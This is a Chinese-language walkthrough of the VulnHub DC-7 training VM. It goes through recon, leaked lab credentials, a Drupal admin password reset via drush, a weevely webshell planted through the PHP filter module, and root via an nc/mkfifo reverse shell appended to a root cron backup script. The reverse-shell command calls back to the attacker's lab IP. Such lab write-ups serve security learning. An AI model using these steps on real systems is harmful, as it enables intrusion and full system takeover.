准备工作

在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

已经知道了靶机的ip192.168.200.19  利用nmap进行端口探测

nmap -sV -p- 192.168.200.19

开放了80端口和22端口,打开80端口

可以看到CMS是Drupal8,左上角还有个登陆页面

但在尝试dirsearch扫目录,爆密码,搜漏洞都没有利用的点。

后面发现下面有一个@DC7USER,去搜一下还真有发现,DC7的作者上传了源码到github

下载来看看,在config.php找到了数据库的账号密码dc7user——MdR3xOgB7#dW

尝试用这个密码登陆了一下页面,失败

那用这个密码登陆一下ssh,成功

ssh dc7user@192.168.200.19

Drush

有一封邮件

看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限

看看这个脚本的内容

在backups.sh文件中主要发现了两个命令drush,gpg。

Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令

查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错

进入网站目录/var/www/html。用drush命令将admin的密码改成admin

drush user-password admin --password="admin"  

登陆网站看看.

weevely

进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块

模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz  输入直接安装

选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装

然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

输入phpinfo();看看能不能执行

成功,接下来使用weevely生成木马进行连接

weevely generate test test.php

然后将代码复制到编辑的地方保存

再使用weevely连接

weevely http://192.168.200.19/ test

连接成功 获得www-data权限

  

利用backups.sh提权

www-data对之前看到的backups.sh有修改权限

可以在这个脚本添加反弹shell的命令进行提权

很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

cat /tmp/f 取出管道符中的内容,

|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash

然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh

然后打开kali终端 nc -lvf 9999 进行监听,可能要等挺长时间,因为这个脚本是隔一段时间执行一次

(这里我等了很久发现还没有反应,查看了一下sh文件根本没写进去,然后想cd出去发现还没有权限,还以为是我用weevely的方法有问题,网上其他人都是直接反弹shell的,后面发现是写入的路径有问题,应该使用绝对路径/opt/scripts/backups.sh。如果发现很久没反应一定要检查是不是哪里出问题了)

等了一段时间后反弹成功,拿到flag

参考文章

DC-7 靶机渗透测试 - Bitores - 博客园 (cnblogs.com)  

DC:7靶机-Walkthrough_ins1ght的博客-CSDN博客

vulnhub-DC:7靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  5. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  6. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. 我的新书《C++服务器开发精髓》终于出版啦

    一.千呼万唤始出来 亲爱的各位读者,我的新书<C++ 服务器开发精髓>终于终于终于与大家见面了,图书如下: 图书的封面设计很精美,当然内容一定不负众望.因出版社老师要求提供一张照片放到封面 ...

  2. 入“坑”mybatis后如何挣脱?

    既然已经入"坑"mybatis了,你竟然还想着挣脱,我是不会让你挣脱的~ 当然我有一个算是挣脱的办法.那就是把它学会.理解透.这样我们也就不用在坑里一直徘徊,也算得上是一种挣脱吧! ...

  3. 机械革命z2安装ubuntu20

    为了性能买了个游戏本机械革命z2,但还是想用上linux,身为程序员习惯了linux的开发环境有点离不开.但是之前尝试安装deepin或者linux都失败了,一是N卡条件下安装过程和安装之后的显示有问 ...

  4. Java安全之反序列化回显与内存马

    Java安全之反序列化回显与内存马 0x00 前言 按照我个人的理解来说其实只要能拿到Request 和 Response对象即可进行回显的构造,当然这也是众多方式的一种.也是目前用的较多的方式.比如 ...

  5. token & refresh token 机制总结

    token & refresh token 机制总结 废话 我在项目上写了个配置页面,之前很简单直接登录,毕竟配置页面自己人用就没有做token机制,后来公司的安全审核不过,现在要加上toke ...

  6. 【Spring Cloud & Alibaba 实战 | 总结篇】Spring Cloud Gateway + Spring Security OAuth2 + JWT 实现微服务统一认证授权和鉴权

    一. 前言 hi,大家好~ 好久没更文了,期间主要致力于项目的功能升级和问题修复中,经过一年时间的打磨,[有来]终于迎来v2.0版本,相较于v1.x版本主要完善了OAuth2认证授权.鉴权的逻辑,结合 ...

  7. 基于Istio构建微服务安全加固平台的探索

    简介 An open platform to connect, secure, control and observe services. Istio 是一个由谷歌.IBM 与Lyft共同开发的开源项 ...

  8. AvtiveMQ与SpringBoot结合

    首先来了解下ActivieMQ的应用场景,消息队列中间件是分布式系统中重要的组件,主要解决应用耦合,异步消息,流量削锋等问题.实现高性能,高可用,可伸缩和最终一致性架构是大型分布式系统不可缺少的中间件 ...

  9. AcWing 1250. 格子游戏

    #include<bits/stdc++.h> using namespace std; int n,m; int fa[1000000]; int found(int x) { if(f ...

  10. phpredis中文手册

    本文是参考<redis中文手册>,将示例代码用php来实现,注意php-redis与redis_cli的区别(主要是返回值类型和参数用法). 目录(使用CTRL+F快速查找命令): Key ...